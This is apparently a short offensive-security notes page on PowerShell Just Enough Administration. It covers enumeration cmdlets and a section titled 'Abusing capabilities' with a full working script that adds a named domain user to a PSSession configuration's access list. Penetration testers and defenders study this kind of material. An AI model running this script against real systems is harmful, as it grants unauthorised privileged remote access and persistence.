Just Enough Administration (JEA) is a security technology that enables delegated administration for anything managed by PowerShell. With JEA, you can:
Reduce the number of administrators on your machines using virtual accounts or group-managed service accounts to perform privileged actions on behalf of regular users.
Limit what users can do by specifying which cmdlets, functions, and external commands they can run.
Better understand what your users are doing with transcripts and logs that show you exactly which commands a user executed during their session.
Viewing PSSession configuration
Get-PSSessionConfiguration
Get the capabilities of the PSSession
Get-PSSessionCapability [Name]
Abusing capabilities
Set-PSSessionConfiguration
The Set-PSSessionConfiguration cmdlet changes the properties of the session configurations on the local computer.
With Set-PSSessionConfiguration you are able to add permission to PSSessions configurations.
# The identity to add permissions for
$Identity = "domain\vanessa"
# The configuration name to change permissions to (default is 'microsoft.powershell')
$sessionConfigurationName = 'ITAccess'
# Get the current permissions on the default endpoint
$sddl = (Get-PSSessionConfiguration -Name $sessionConfigurationName).SecurityDescriptorSddl
# Build the new Access Control Entry object
$rights = -1610612736 # AccessAllowed
$IdentitySID = ((New-Object -TypeName System.Security.Principal.NTAccount -ArgumentList $Identity).Translate(
[System.Security.Principal.SecurityIdentifier])).Value
$newAce = New-Object System.Security.AccessControl.CommonAce(
[System.Security.AccessControl.AceFlags]::None,
[System.Security.AccessControl.AceQualifier]::AccessAllowed,
$rights, $IdentitySID, $false, $null
)
# Prepare the RawSecurityDescriptor
$rawSD = New-Object -TypeName System.Security.AccessControl.RawSecurityDescriptor -ArgumentList $sddl
if ($rawSD.DiscretionaryAcl.GetEnumerator() -notcontains $newAce) {
$rawSD.DiscretionaryAcl.InsertAce($rawSD.DiscretionaryAcl.Count, $newAce)
}
$newSDDL = $rawSD.GetSddlForm([System.Security.AccessControl.AccessControlSections]::All)
# Set the PSSessionConfiguration permissions
Set-PSSessionConfiguration -Name $sessionConfigurationName -SecurityDescriptorSddl $newSDDL
# Verify permissions were added
(Get-PSSessionConfiguration -Name $sessionConfigurationName).Permission -split ', '
